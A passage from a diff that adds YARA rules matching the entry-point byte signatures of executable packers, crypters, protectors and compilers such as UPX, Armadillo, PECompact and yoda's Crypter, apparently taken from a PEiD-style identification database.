+		$0 = {20 2D 2D 4D 50 52 4D 4D 47 56 41 2D 2D 00 75 73 65 72 33 32 2E 64 6C 6C 00 4D 65 73 73 61 67 65 42 6F 78 41 00 54 68 69 73 20 61 70 70 6C 69 63 61 74 69 6F 6E 20 63 61 6E 6E 6F 74 20 72 75 6E 20 77 69 74 68 20 61 6E 20 61 63 74 69 76 65 20 64 65 62 75 67 67 65 72 20 69 6E 20 6D 65 6D 6F 72 79 2E 0D 0A 50 6C 65 61 73 65 20 75 6E 6C 6F 61 64 20 74 68 65 20 64 65 62 75 67 67 65 72 20 61 6E 64 20 72 65 73 74 61 72 74 20 74 68 65 20 61 70 70 6C 69 63 61 74 69 6F 6E 2E 00 57 61 72 6E 69 6E 67}
+		$1 = {BE 48 01 40 00 AD 8B F8 95 A5 33 C0 33 C9 AB 48 AB F7 D8 B1 04 F3 AB C1 E0 0A B5 1C F3 AB AD 50 97 51 AD 87 F5 58 8D 54 86 5C FF D5 72 5A 2C 03 73 02 B0 00 3C 07 72 02 2C 03 50 0F B6 5F FF C1 E3 03 B3 00 8D 1C 5B 8D 9C 9E 0C 10 00 00 B0 01 67 E3 29 8B D7 2B 56 0C 8A 2A 33 D2 84 E9 0F 95 C6 52 FE C6 8A D0 8D 14 93 FF D5 5A 9F 12 C0 D0 E9 74 0E 9E 1A F2 74 E4 B4 00 33 C9 B5 01 FF 55 CC 33 C9 E9 DF 00 00 00 8B 5E 0C 83 C2 30 FF D5 73 50 83 C2 30 FF D5 72 1B 83 C2 30 FF D5 72 2B 3C 07 B0 09 72 02 B0 0B 50 8B C7 2B 46 0C B1 80 8A 00 EB CF 83 C2 60 FF D5 87 5E 10 73 0D 83 C2 30 FF D5 87 5E 14 73 03 87 5E 18 3C 07 B0 08 72 02 B0 0B 50 53 8D 96 7C 07 00 00 FF 55 D0 5B 91 EB 77 3C 07 B0 07 72 02 B0 0A 50 87 5E 10 87 5E 14 89 5E 18 8D 96 C4 0B 00 00 FF 55 D0 50 48}
+		$2 = {20 2D 2D 4D 50 52 4D 4D 47 56 41 2D 2D 00 75 73 65 72 33 32 2E 64 6C 6C 00 4D 65 73 73 61 67 65 42 6F 78 41 00 54 68 69 73 20 61 70 70 6C 69 63 61 74 69 6F 6E 20 63 61 6E 6E 6F 74 20 72 75 6E 20 77 69 74 68 20 61 6E 20 61 63 74 69 76 65 20 64 65 62 75 67}
+	condition:
+		$0 at entrypoint or $1 at entrypoint or $2
+}
+rule _yodas_Crypter_13__Ashkbiz_Danehkar_
+{
+	meta:
+		description = "yoda's Crypter 1.3 -> Ashkbiz Danehkar"
+	strings:
+		$0 = {55 8B EC 53 56 57 60 E8 00 00 00 00 5D 81 ED 6C 28 40 00 B9 5D 34 40 00 81 E9 C6 28 40 00 8B D5 81 C2 C6 28 40 00 8D 3A 8B F7 33 C0 EB 04 90 EB 01 C2 AC}
+		$1 = {55 8B EC 53 56 57 60 E8 00 00 00 00 5D 81 ED 6C 28 40 00 B9 5D 34 40 00}
+		$2 = {55 8B EC 53 56 57 60 E8 00 00 00 00 5D 81 ED 6C 28 40 00 B9 5D 34 40 00 81 E9 C6 28 40 00 8B D5 81 C2 C6 28 40 00 8D 3A 8B F7 33 C0 EB 04 90 EB 01 C2 AC}
+	condition:
+		$0 at entrypoint or $1 at entrypoint or $2 at entrypoint
+}
+rule _NoobyProtect_SE_Public_V1XXX__Nooby__20090201_
+{
+	meta:
+		description = "NoobyProtect SE Public V1.X.X.X -> Nooby * 20090201"
+	strings:
+		$0 = {E9 ?? 00 00 00 4E 6F 6F 62 79 50 72 6F 74 65 63 74 20 53 45 20 31 2E ?? 2E ?? 2E}
+	condition:
+		$0 at entrypoint
+}
+rule _hyings_PEArmor_V07X__hying_
+{
+	meta:
+		description = "hying's PE-Armor V0.7X -> hying"
+	strings:
+		$0 = {60 E8 00 00 00 00 5D 81 ED ?? ?? ?? ?? 8D B5 ?? ?? ?? ?? 55 56 81 C5 ?? ?? ?? ?? 55 C3}
+		$1 = {60 E8 00 00 00 00 5D 81 ED ?? ?? ?? ?? 8D B5 ?? ?? ?? ?? 55 56 81 C5 ?? ?? ?? ?? 55 C3}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _SoftDefender_V11x__Randy_Li_
+{
+	meta:
+		description = "SoftDefender V1.1x -> Randy Li"
+	strings:
+		$0 = {74 07 75 05 19 32 67 E8 E8 74 1F 75 1D E8 68 39 44}
+	condition:
+		$0 at entrypoint
+}
+rule _PECompact_v0978_
+{
+	meta:
+		description = "PECompact v0.978"
+	strings:
+		$0 = {EB 06 68 ?? ?? ?? ?? C3 9C 60 E8 02 ?? ?? ?? 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB 0F A0 40 ?? 87 DD 8B 85 A6 A0 40 ?? 01 85 03 A0 40 ?? 66 C7 85 ?? A0 40 ?? 90 90 01 85 9E A0 40 ?? BB C3 11}
+		$1 = {EB 06 68 ?? ?? ?? ?? C3 9C 60 E8 02 ?? ?? ?? 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB 24 88 40 ?? 87 DD 8B 85 A9 88}
+		$2 = {EB 06 68 ?? ?? ?? ?? C3 9C 60 E8 02 ?? ?? ?? 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB D1 84 40 ?? 87 DD 8B 85 56 85}
+	condition:
+		$0 at entrypoint or $1 at entrypoint or $2 at entrypoint
+}
+rule _Pelles_C_290_300_400_DLL_X86_CRTLIB_
+{
+	meta:
+		description = "Pelles C 2.90, 3.00, 4.00 DLL (X86 CRT-LIB)"
+	strings:
+		$0 = {55 89 E5 53 56 57 8B 5D 0C 8B 75 10 BF 01 00 00 00 85 DB 75 10 83 3D ?? ?? ?? ?? 00 75 07 31 C0 E9 ?? ?? ?? ?? 83 FB 01 74 05 83 FB 02 75 ?? 85 FF 74}
+		$1 = {55 89 E5 53 56 57 8B 5D 0C 8B 75 10 BF 01 00 00 00 85 DB 75 10 83 3D ?? ?? ?? ?? 00 75 07 31 C0 E9 ?? ?? ?? ?? 83 FB 01 74 05 83 FB 02 75 ?? 85 FF 74}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _Eagle_Protector_V2X__AntiDebugLIB__20081008_
+{
+	meta:
+		description = "Eagle Protector V2.X -> AntiDebugLIB * 20081008"
+	strings:
+		$0 = {00 00 00 00 4B 65 72 6E 65 6C 33 32 2E 64 6C 6C 00 55 73 65 72 33 32 2E 64 6C 6C 00 41 64 76 41 70 69 33 32 2E 64 6C 6C 00 4F 6C 65 61 75 74 33 32 2E 64 6C 6C 00 47 64 69 33 32 2E 64 6C 6C 00 4F 6C 65 33 32 2E 64 6C 6C 00 43 6F 6D 43 74 6C 33 32 2E 64 6C 6C 00 00 00 4C 6F 61 64 4C 69 62 72 61 72 79 41 00 00 00 47 65 74 50 72 6F 63 41 64 64 72 65 73 73 00 00 00 47 65 74 4D 6F 64 75 6C 65 48 61 6E 64 6C 65 41 00 00 00 47 65 74 4B 65 79 62 6F 61 72 64 54 79 70 65 00 00 00 57 69 6E 64 6F 77 46 72 6F 6D 50 6F 69 6E 74 00 00 00 52 65 67 51 75 65 72 79 56 61 6C 75 65 45 78 41 00 00 00 52 65 67 53 65 74 56 61 6C 75 65 45 78 41 00 00 00 53 74 61 72 74 53 65 72 76 69 63 65 41 00 00 00 53 79 73 46 72 65 65 53 74 72 69 6E 67 00 00 00 43 72 65 61 74 65 45 72 72 6F 72 49 6E 66 6F 00 00 00 53 61 66 65 41 72 72 61 79 50 74 72 4F 66 49 6E 64 65 78 00 00 00 55 6E 72 65 61 6C 69 7A 65 4F 62 6A 65 63 74 00 00 00 43 72 65 61 74 65 53 74 72 65 61 6D 4F 6E 48 47 6C 6F 62 61 6C 00 00 00 49 73 45 71 75 61 6C 47 55 49 44 00 00 00 49 6D 61 67 65 4C 69 73 74 5F 53 65 74 49 63 6F 6E 53 69 7A 65 00}
+	condition:
+		$0 at entrypoint
+}
+rule _Jam_221_COM_
+{
+	meta:
+		description = "Jam 2.21 [COM]"
+	strings:
+		$0 = {50 06 16 07 BE 06 02 8B FE B9 04 01 FD FA F3 2E A5 FB 06 BD 78 00 55 CB BE 00 00 8B FE BD 00 00 8D 9E 00 10 8D 97 00 00 B9 00 00 80 EF 10 8E DB 80 EE 10 8E C2 F3 A5 B5 80 3B DD 77 EE 33 C9 BE 00 00 8B FE 8E DA 8E C3 FC BA 01 00 EB 43 5D 2E}
+	condition:
+		$0 at entrypoint
+}
+rule _ExeSmasher_
+{
+	meta:
+		description = "ExeSmasher"
+	strings:
+		$0 = {9C FE 03 00 60 BE 00 00 41 00 8D BE 00 10 FF FF 57 83 CD FF EB 10}
+	condition:
+		$0 at entrypoint
+}
+rule _PocketPC_SHA_
+{
+	meta:
+		description = "PocketPC SHA"
+	strings:
+		$0 = {86 2F 96 2F A6 2F B6 2F 22 4F 43 68 53 6B 63 6A 73 69 F0 7F 0B D0 0B 40 09 00 09 D0 B3 65 A3 66 93 67 0B 40 83 64 03 64 04 D0 0B 40 09 00 10 7F 26 4F F6 6B F6 6A F6 69 0B 00 F6 68 ?? ?? ?? 00 ?? ?? ?? 00 ?? ?? ?? 00 22 4F F0 7F 0A D0 06 D4 06 D5 0B 40 09}
+		$1 = {86 2F 96 2F A6 2F B6 2F 22 4F 43 68 53 6B 63 6A 73 69 F0 7F 0B D0 0B 40 09 00 09 D0 B3 65 A3 66 93 67 0B 40 83 64 03 64 04 D0 0B 40 09 00 10 7F 26 4F F6 6B F6 6A F6 69 0B 00 F6 68 ?? ?? ?? 00 ?? ?? ?? 00 ?? ?? ?? 00 22 4F F0 7F 0A D0 06 D4 06 D5 0B 40 09 00 08 D0 05 D4 06 D5 0B 40 09 00 10 7F 26 4F}
+		$2 = {86 2F 96 2F A6 2F B6 2F 22 4F 43 68 53 6B 63 6A 73 69 F0 7F 0B D0 0B 40 09 00 09 D0 B3 65 A3 66 93 67 0B 40 83 64 03 64 04 D0 0B 40 09 00 10 7F 26 4F F6 6B F6 6A F6 69 0B 00 F6 68 ?? ?? ?? 00 ?? ?? ?? 00 ?? ?? ?? 00 22 4F F0 7F 0A D0 06 D4 06 D5 0B 40 09}
+	condition:
+		$0 at entrypoint or $1 at entrypoint or $2 at entrypoint
+}
+rule _WinUpack_v039_final__By_Dwing_c2005_
+{
+	meta:
+		description = "WinUpack v0.39 final -> By Dwing (c)2005"
+	strings:
+		$0 = {BE B0 11 ?? ?? AD 50 FF 76 34 EB 7C 48 01 ?? ?? 0B 01 4C 6F 61 64 4C 69 62 72 61 72 79 41 00 00 18 10 00 00 10 00 00 00 ?? ?? ?? ?? 00 00 ?? ?? 00 10 00 00 00 02 00 00 04 00 00 00 00 00 39 00 04 00 00 00 00 00 00 00 00 ?? ?? ?? 00 02 00 00 00 00 00 00}
+		$1 = {BE B0 11 ?? ?? AD 50 FF 76 34 EB 7C 48 01 ?? ?? 0B 01 4C 6F 61 64 4C 69 62 72 61 72 79 41 00 00 18 10 00 00 10 00 00 00 00 ?? ?? ?? 00 00 ?? ?? 00 10 00 00 00 02 00 00 04 00 00 00 00 00 39 00 04 00 00 00 00 00 00 00 00 ?? ?? ?? 00 02 00 00 00 00 00 00 ?? 00 00 ?? 00 00 ?? 00 00 ?? ?? 00 00 00 10 00 00 10 00 00 00 00 00 00 0A 00 00 00 00 00 00 00 00 00 00 00 EE ?? ?? ?? 14 00 00 00 00 ?? ?? ?? ?? ?? ?? 00 FF 76 38 AD 50 8B 3E BE F0 ?? ?? ?? 6A 27 59 F3 A5 FF 76 04 83 C8 FF 8B DF AB EB 1C 00 00 00 00 47 65 74 50 72 6F 63 41 64 64 72 65 73 73 00 00 ?? ?? ?? ?? ?? 00 00 00 40 AB 40 B1 04 F3 AB C1 E0 0A B5 ?? F3 AB 8B 7E 0C 57 51 E9 ?? ?? ?? ?? 56 10 E2 E3 B1 04 D3 E0 03 E8 8D 53 18 33 C0 55 40 51 D3 E0 8B EA 91 FF 56 4C 99 59 D1 E8 13 D2 E2 FA 5D 03 EA 45 59 89 6B 08 56 8B F7 2B F5 F3 A4 AC 5E B1 80 AA 3B 7E 34 0F 82 AC FE FF FF 58 5F 59 E3 1B 8A 07 47 04 18 3C 02 73 F7 8B 07 3C ?? 75 F3 B0 00 0F C8 03 46 38 2B C7 AB E2 E5 5E 5D 59 46 AD 85 C0 74 1F 51}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _Lattice_C_v101_
+{
+	meta:
+		description = "Lattice C v1.01"
+	strings:
+		$0 = {FA B8 ?? ?? 05 ?? ?? B1 ?? D3 E8 8C CB 03 C3 8E D8 8E D0 26 ?? ?? ?? ?? 2B D8 F7 ?? ?? ?? 75 ?? B1 ?? D3 E3 EB}
+	condition:
+		$0 at entrypoint
+}
+rule _UPX_071__072_PE_
+{
+	meta:
+		description = "UPX 0.71 - 0.72 [PE]"
+	strings:
+		$0 = {60 E8 00 00 00 00 83 CD FF 31 DB 5E 8D BE FA 00 00 FF 57 66 81 87 00 00 00 00 00 00 81 C6 B3 01 00 00 EB 0A 90 90 90 90 8A 06 46 88 07 47 01 DB 75 07 8B 1E 83 EE FC 11 DB 72 ED B8 01 00 00 00 01 DB 75 07 8B 1E 83 EE FC 11 DB 11 C0 01 DB 77}
+	condition:
+		$0 at entrypoint
+}
+rule _Gem_VDI_Image_graphics_file_
+{
+	meta:
+		description = "Gem VDI Image graphics file"
+	strings:
+		$0 = {00 01 00 ?? 00 ?? 00 01}
+	condition:
+		$0 at entrypoint
+}
+rule _FreeCryptor_02_build_002__GlOFF_
+{
+	meta:
+		description = "FreeCryptor 0.2 (build 002) -> GlOFF"
+	strings:
+		$0 = {33 D2 90 1E 68 1B ?? ?? ?? 0F A0 1F 8B 02 90 50 54 8F 02 90 90 8E 64 24 08 FF E2 58 50 33 D2 52 83 F8 01 9B 40 8A 10 89 14 24 90 D9 04 24 90 D9 FA D9 5C 24 FC 8B 5C 24 FC 81 F3 C2 FC 1D 1C 75 E3 74 01 62 FF D0 90 5A 33 C0 8B 54 24 08 90 64 8F 00 90 83 C2}
+		$1 = {33 D2 90 1E 68 1B ?? ?? ?? 0F A0 1F 8B 02 90 50 54 8F 02 90 90 8E 64 24 08 FF E2 58 50 33 D2 52 83 F8 01 9B 40 8A 10 89 14 24 90 D9 04 24 90 D9 FA D9 5C 24 FC 8B 5C 24 FC 81 F3 C2 FC 1D 1C 75 E3 74 01 62 FF D0 90 5A 33 C0 8B 54 24 08 90 64 8F 00 90 83 C2 08 52 5C 5A}
+		$2 = {33 D2 90 1E 68 1B ?? ?? ?? 0F A0 1F 8B ?? 90 50 54 8F 02 90 90 8E 64 24 08 FF E2 58 50 33 D2 52 83 F8 01 9B 40 8A 10 89 14 24 90 D9 04 24 90 D9 FA D9 5C 24 FC 8B 5C 24 FC 81 F3 C2 FC 1D 1C 75 E3 74 01 62 FF D0 90 5A 33 C0 8B 54 24 08 90 64 8F 00 90 83 C2 08 52 5C 5A}
+	condition:
+		$0 at entrypoint or $1 or $2 at entrypoint
+}
+rule _StarForce_V1XV3X__StarForce_Copy_Protection_System_
+{
+	meta:
+		description = "StarForce V1.X-V3.X -> StarForce Copy Protection System"
+	strings:
+		$0 = {68 ?? ?? ?? ?? FF 25 ?? ?? ?? ?? 00 00 00 00 00}
+		$1 = {68 ?? ?? ?? ?? FF 25 ?? ?? ?? ?? 00 00 00 00 00}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _VProtector_V10D__vcasm_
+{
+	meta:
+		description = "VProtector V1.0D -> vcasm"
+	strings:
+		$0 = {55 8B EC 6A FF 68 CA 31 41 00 68 06 32 41 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 E8 03 00 00 00 C7 84 00 58 EB 01 E9 83 C0 07 50}
+		$1 = {55 8B EC 6A FF 68 CA 31 41 00 68 06 32 41 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 E8 03 00 00 00 C7 84 00 58 EB 01 E9 83 C0 07 50}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _EXEPACK_LINK_v360_v364_v365_or_50121_
+{
+	meta:
+		description = "EXEPACK (LINK) v3.60, v3.64, v3.65 or 5.01.21"
+	strings:
+		$0 = {8C C0 05 ?? ?? 0E 1F A3 ?? ?? 03 ?? ?? ?? 8E C0 8B ?? ?? ?? 8B ?? 4F 8B F7 FD F3 A4 50 B8 ?? ?? 50 CB}
+		$1 = {8C C0 05 ?? ?? 0E 1F A3 ?? ?? 03 ?? ?? ?? 8E C0 8B ?? ?? ?? 8B ?? 4F 8B F7 FD F3 A4 50 B8 ?? ?? 50 CB}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _PeCompact2_253276__BitSum_Technologies_
+{
+	meta:
+		description = "PeCompact2 2.53-2.76 --> BitSum Technologies"
+	strings:
+		$0 = {B8 ?? ?? ?? ?? 55 53 51 57 56 52 8D 98 C9 11 00 10 8B 53 18 52 8B E8 6A 40 68 00 10 00 00 FF 73 04 6A 00 8B 4B 10 03 CA 8B 01 FF D0 5A 8B F8 50 52 8B 33 8B 43 20 03 C2 8B 08 89 4B 20 8B 43 1C 03 C2 8B 08 89 4B 1C 03 F2 8B 4B 0C 03 CA 8D 43 1C 50 57 56 FF}
+		$1 = {B8 ?? ?? ?? ?? 55 53 51 57 56 52 8D 98 C9 11 00 10 8B 53 18 52 8B E8 6A 40 68 00 10 00 00 FF 73 04 6A 00 8B 4B 10 03 CA 8B 01 FF D0 5A 8B F8 50 52 8B 33 8B 43 20 03 C2 8B 08 89 4B 20 8B 43 1C 03 C2 8B 08 89 4B 1C 03 F2 8B 4B 0C 03 CA 8D 43 1C 50 57 56 FF}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _TTProtect_V10X__somuch__20080806_
+{
+	meta:
+		description = "TTProtect V1.0X -> somuch * 20080806"
+	strings:
+		$0 = {00 00 00 00 00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 4B 65 72 6E 65 6C 33 32 2E 64 6C 6C 00 ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 4C 6F 61 64 4C 69 62 72 61 72 79 41 00 00 00 47 65 74 50 72 6F 63 41 64 64 72 65 73 73 00 50 57 53 9C E8 ?? 00 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _RJoiner_12_by_Vaska_25032007_1658_
+{
+	meta:
+		description = "RJoiner 1.2 by Vaska (25.03.2007 16:58)"
+	strings:
+		$0 = {55 8B EC 81 EC 0C 02 00 00 8D 85 F4 FD FF FF 56 50 68 04 01 00 00 FF 15 14 10 40 00 90 8D 85 F4 FD FF FF 50 FF 15 10 10 40 00 90 BE 00 20 40 00 90 83 3E FF 0F 84 84 00 00 00 53 57 33 FF 8D 46}
+		$1 = {55 8B EC 81 EC 0C 02 00 00 8D 85 F4 FD FF FF 56 50 68 04 01 00 00 FF 15 14 10 40 00 90 8D 85 F4 FD FF FF 50 FF 15 10 10 40 00 90 BE 00 20 40 00 90 83 3E FF 0F 84 84 00 00 00 53 57 33 FF 8D 46}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _RLPack_V118_Basic_Edition_LZMA_430__ap0x_
+{
+	meta:
+		description = "RLPack V1.18 Basic Edition (LZMA 4.30) -> ap0x"
+	strings:
+		$0 = {60 E8 00 00 00 00 8B 2C 24 83 C4 04 8D B5 21 0B 00 00 8D 9D FF 02 00 00 33 FF E8 9F 01 00 00 6A 40 68 00}
+	condition:
+		$0 at entrypoint
+}
+rule _Armadillo_301__350a__Silicon_Realms_Toolworks_
+{
+	meta:
+		description = "Armadillo 3.01 - 3.50a -> Silicon Realms Toolworks"
+	strings:
+		$0 = {60 E8 00 00 00 00 5D 50 51 EB 0F ?? EB 0F ?? EB 07 ?? EB 0F ?? EB 08 FD EB 0B F2 EB F5 EB F6 F2 EB 08 FD EB E9 F3 EB E4 FC ?? 59 58 50 51 EB 0F ?? EB 0F ?? EB 07 ?? EB 0F ?? EB 08 FD EB 0B F2 EB F5 EB F6 F2 EB 08 FD EB E9 F3 EB E4 FC ?? 59 58 50 51 EB 0F ?? EB 0F ?? EB 07 ?? EB 0F ?? EB 08 FD EB 0B F2 EB F5 EB F6 F2 EB 08 FD EB E9 F3 EB E4 FC ?? 59 58 60 33 C9 75 02 EB 15 ?? 33 C9 75 18 7A 0C 70 0E EB 0D ?? 72 0E 79 F1 ?? ?? ?? 79 09 74 F0 ?? 87 DB 7A F0 ?? ?? 61 50 51 EB 0F ?? EB 0F ?? EB 07 ?? EB 0F ?? EB 08 FD EB 0B F2 EB F5 EB F6 F2 EB 08 FD EB E9 F3 EB E4 FC ?? 59 58 60 9C 33 C0 E8 09 00 00 00 E8 E8 23 00 00 00 7A 23 ?? 8B 04 24 EB 03 7A 29 ?? C6 00 90 C3 ?? 70 F0 87 D2 71 07 ?? ?? 40 8B DB 7A 11 EB 08 ?? EB F7 EB C3 ?? 7A E9 70 DA 7B D1 71 F3 ?? 7B F3 71 D6 ?? 9D 61 83 ED 06 33 FF 47 60 33 C9 75 02 EB 15 ?? 33 C9 75 18 7A 0C 70 0E EB 0D ?? 72 0E 79 F1 ?? ?? ?? 79 09 74 F0 EB 87 ?? 7A F0 ?? ?? 61 8B 9C BD B8 43}
+	condition:
+		$0 at entrypoint
+}
+rule _CERBERUS_v20_
+{
+	meta:
+		description = "CERBERUS v2.0"
+	strings:
+		$0 = {9C 2B ED 8C ?? ?? 8C ?? ?? FA E4 ?? 88 ?? ?? 16 07 BF ?? ?? 8E DD 9B F5 B9 ?? ?? FC F3 A5}
+		$1 = {9C 2B ED 8C ?? ?? 8C ?? ?? FA E4 ?? 88 ?? ?? 16 07 BF ?? ?? 8E DD 9B F5 B9 ?? ?? FC F3 A5}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _MEW_11_SE_10__Northfox_
+{
+	meta:
+		description = "MEW 11 SE 1.0 -> Northfox"
+	strings:
+		$0 = {E9 ?? ?? ?? ?? 00 00 00 02 00 00 00 0C 00}
+	condition:
+		$0 at entrypoint
+}
+rule _Special_EXE_Password_Protector_10__Pavol_Cerven_
+{
+	meta:
+		description = "Special EXE Password Protector 1.0 -> Pavol Cerven"
+	strings:
+		$0 = {60 E8 00 00 00 00 5D 81 ED 06 00 00 00 89 AD 8C 01 00 00 8B C5 2B 85 FE 75 00 00 89 85 3E 77}
+	condition:
+		$0 at entrypoint
+}
+rule _NsPack_31__Liu_Xing_Ping_
+{
+	meta:
+		description = "NsPack 3.1 -> Liu Xing Ping"
+	strings:
+		$0 = {9C 60 E8 00 00 00 00 5D 83 ED 07 8D 9D ?? ?? ?? ?? 8A 03 3C 00 74 10 8D 9D ?? ?? FF FF 8A 03 3C 01 0F 84 42 02 00 00 C6 03 01 8B D5 2B 95 ?? ?? FF FF 89 95 ?? ?? FF FF 01 95 ?? ?? FF FF 8D B5 ?? ?? FF FF 01 16 60 6A 40 68 00 10 00 00 68 00 10 00 00 6A 00}
+	condition:
+		$0 at entrypoint
+}
+rule _Armadillo_v301_v305_
+{
+	meta:
+		description = "Armadillo v3.01, v3.05"
+	strings:
+		$0 = {60 E8 00 00 00 00 5D 50 51 EB 0F B9 EB 0F B8 EB 07 B9 EB 0F 90 EB 08 FD EB 0B F2 EB F5 EB F6 F2 EB 08 FD EB E9 F3 EB E4 FC E9 59 58 50 51 EB 0F B9 EB 0F B8 EB 07 B9 EB 0F 90 EB 08 FD EB 0B F2 EB F5 EB F6 F2 EB 08 FD EB E9 F3 EB E4 FC E9 59 58 50 51 EB 0F B9 EB 0F B8 EB 07 B9 EB 0F 90 EB 08 FD EB 0B F2 EB F5 EB F6 F2 EB 08 FD EB E9 F3 EB E4 FC E9 59 58 60 33 C9 75 02 EB 15 EB 33 C9 75 18 7A 0C 70 0E EB 0D E8 72 0E 79 F1 FF 15 00 79 09 74 F0 EB 87 DB 7A F0 A0 33 61 50 51 EB 0F B9 EB 0F B8 EB 07 B9 EB 0F 90 EB 08 FD EB 0B F2 EB F5 EB F6 F2 EB 08 FD EB E9 F3 EB E4 FC E9 59 58 60 9C 33 C0 E8 09 00 00 00 E8 E8 23 00 00 00 7A 23 A0 8B 04 24 EB 03 7A 29 E9 C6 00 90 C3 E8 70 F0 87 D2 71 07 E9 00 40 8B DB 7A 11 EB 08 E9 EB F7 EB C3 E8 7A E9 70 DA 7B D1 71 F3 E9 7B}
+		$1 = {60 E8 00 00 00 00 5D 50 51 EB 0F B9 EB 0F B8 EB 07 B9 EB 0F 90 EB 08 FD EB 0B F2 EB F5 EB F6 F2 EB 08 FD EB E9 F3 EB E4 FC E9 59 58 50 51 EB 0F B9 EB 0F B8 EB 07 B9 EB 0F 90 EB 08 FD EB 0B F2 EB F5 EB F6 F2 EB 08 FD EB E9 F3 EB E4 FC E9 59 58 50 51 EB 0F}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _SVKProtector_v143__wwwanticrackingsk_
+{
+	meta:
+		description = "SVK-Protector v1.43 -> www.anticracking.sk"
+	strings:
+		$0 = {78 4E 88 4C 0E B0 3C 78 4E 97 56 7B 94 90 00 00 08 DB 5C 50 20 00 05}
+	condition:
+		$0 at entrypoint
+}
+rule _PseudoSigner_02_PESHiELD_025_
+{
+	meta:
+		description = "PseudoSigner 0.2 [PESHiELD 0.25"
+	strings:
+		$0 = {60 E8 2B 00 00 00 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 CC CC}
+	condition:
+		$0 at entrypoint
+}
+rule _CryptC_by_unknown_
+{
+	meta:
+		description = "CryptC [by unknown"
+	strings:
+		$0 = {FD 53 56 5B 0F A1 BE 00 00 AD 64 8B 16 05 00 64 31 06 05 00 64 89 16 0D 00 AD FF 36 33 01 64 33 06 05 00 C7 07 EB 17 64 33 06 0D 00 8F 06 33 01 31 04 E9 CB FF}
+	condition:
+		$0 at entrypoint
+}
+rule _PseudoSigner_01_Borland_Delphi_60__70__Anorganix_
+{
+	meta:
+		description = "PseudoSigner 0.1 [Borland Delphi 6.0 - 7.0] --> Anorganix"
+	strings:
+		$0 = {90 90 90 90 68 ?? ?? ?? ?? 67 64 FF 36 00 00 67 64 89 26 00 00 F1 90 90 90 90 53 8B D8 33 C0 A3 09 09 09 00 6A 00 E8 09 09 00 FF A3 09 09 09 00 A1 09 09 09 00 A3 09 09 09 00 33 C0 A3 09 09 09 00 33 C0 A3 09 09 09 00 E8}
+	condition:
+		$0 at entrypoint
+}
+rule _Microsoft_Visual_Cpp_v60_Debug_Version_
+{
+	meta:
+		description = "Microsoft Visual C++ v6.0 (Debug Version)"
+	strings:
+		$0 = {55 8B EC 51 ?? ?? ?? 01 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 10 ?? ?? ?? ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _SoftDefender_1x__Randy_Li_
+{
+	meta:
+		description = "SoftDefender 1.x -> Randy Li"
+	strings:
+		$0 = {74 07 75 05 19 32 67 E8 E8 74 1F 75 1D E8 68 39 44 CD 00 59 9C 50 74 0A 75 08 E8 59 C2 04 00 55 8B EC E8 F4 FF FF FF 56 57 53 78 0F 79 0D E8 34 99 47 49 34 33 EF 31 34 52 47 23 68 A2 AF 47 01 59 E8 01 00 00 00 FF 58 05 E6 01 00 00 03 C8 74 BD 75 BB E8 00}
+		$1 = {74 07 75 05 19 32 67 E8 E8 74 1F 75 1D E8 68 39 44 CD 00 59 9C 50 74 0A 75 08 E8 59 C2 04 00 55 8B EC E8 F4 FF FF FF 56 57 53 78 0F 79 0D E8 34 99 47 49 34 33 EF 31 34 52 47 23 68 A2 AF 47 01 59 E8 01 00 00 00 FF 58 05 E6 01 00 00 03 C8 74 BD 75 BB E8 00}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _PESpin_03__cyberbob_
+{
+	meta:
+		description = "PESpin 0.3 -> cyberbob"
+	strings:
+		$0 = {EB 01 68 60 E8 00 00 00 00 8B 1C 24 83 C3 12 81 2B E8 B1 06 00 FE 4B}
+	condition:
+		$0 at entrypoint
+}
+rule _HSC_music_file_
+{
+	meta:
+		description = "HSC music file"
+	strings:
+		$0 = {C8 E2 04 20}
+	condition:
+		$0 at entrypoint
+}
+rule _ENIGMA_Protector__Sukhov_Vladimir_
+{
+	meta:
+		description = "ENIGMA Protector -> Sukhov Vladimir"
+	strings:
